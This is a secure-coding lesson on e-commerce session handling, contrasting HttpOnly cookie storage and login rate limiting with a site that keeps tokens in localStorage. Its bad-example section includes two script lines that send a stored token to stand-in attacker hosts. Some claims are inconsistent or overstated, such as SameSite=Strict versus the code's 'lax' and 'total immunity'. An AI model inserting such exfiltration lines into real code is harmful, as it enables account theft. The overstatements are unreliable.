Learn the Good Patterns
Real-world engineering guide on how top e-commerce websites achieve sub-1.0s LCP, zero layout shifts, impenetrable checkout security, and effortless scale.
Secure Shopping Authentication & Session Cookies
E-commerce session management using HttpOnly, Secure, SameSite=Strict cookies, token rotation, and rate-limiting against credential stuffing.
Tamper-Proof HttpOnly Cookies & Rotation
Customer sessions are stored inside encrypted, server-set cookies with HttpOnly, Secure, and SameSite=Strict attributes. Because client JavaScript cannot access HttpOnly cookies, Cross-Site Scripting (XSS) vulnerabilities cannot siphon away customer session tokens or hijack active checkout carts.
// 1. Server-Side Authentication Cookie Handler (Next.js / Node.js)
import { cookies } from 'next/headers';
import { createHmac, timingSafeEqual } from 'node:crypto';
export async function createCustomerSession(customerId) {
const sessionToken = await signSecureJwt({ sub: customerId, jti: crypto.randomUUID() }, '7d');
// Set hardened cookie invisible to document.cookie
(await cookies()).set('aura_session', sessionToken, {
httpOnly: true, // Blocks XSS token theft via JS
secure: process.env.NODE_ENV === 'production', // Transmitted strictly over HTTPS
sameSite: 'lax', // Defends POST CSRF from external sites
path: '/',
maxAge: 60 * 60 * 24 * 7, // 7 days expiration
});
}
// 2. Sliding-Window Rate Limiter against Credential Stuffing
const attempts = new Map();
export function checkLoginRateLimit(ip, email) {
const key = `${ip}:${email.toLowerCase()}`;
const now = Date.now();
const recent = (attempts.get(key) || []).filter((t) => now - t < 15 * 60_000);
if (recent.length >= 10) return { allowed: false, retryAfterSec: 900 };
recent.push(now);
attempts.set(key, recent);
return { allowed: true };
}Key Engineering & Business Benefits:
- Total immunity to JavaScript document.cookie theft through malicious third-party scripts or XSS.
- Prevents Cross-Site Request Forgery (CSRF) across untrusted external shopping origins with SameSite + origin checks.
- Token ID (jti) + Redis revocation list allows instant session invalidation on password reset or breach detection.
The Horror Site: Plain localStorage Token & No Brute-Force Throttle
The bad site saved user authentication tokens in localStorage.setItem("token", jwt) and left /api/auth/login completely unthrottled. Any third-party widget or XSS payload could run fetch("https://evil.com/?t=" + localStorage.getItem("token")) and commandeer the customer account, while bots tested 50,000 leaked passwords per minute.
// The Bad Site exposed tokens to all JavaScript running on the page:
localStorage.setItem('auth_token', token);
// Any XSS or compromised analytics script can exfiltrate it immediately:
fetch('https://attacker.site/steal?token=' + localStorage.getItem('auth_token'));How to Implement / Fix in 3 Practical Steps
Store customer session tokens strictly in HttpOnly, Secure, SameSite cookies rather than Web Storage (localStorage/sessionStorage).
Always verify password hashes with Argon2id or bcrypt + constant-time signature checks (timingSafeEqual).
Rotate session IDs immediately upon privilege elevation or login (preventing session fixation) and revoke all refresh tokens on password change.
Enforce per-IP and per-account rate limiting + exponential backoff on /api/auth/login, /api/auth/reset, and OTP verification endpoints.
Open DevTools -> Application -> Storage -> Cookies. Verify the authentication cookie has HttpOnly and Secure flags checked with SameSite=Lax or Strict.
Finished reading this lesson?
Mark it as mastered below, or click Next Lesson to auto-complete.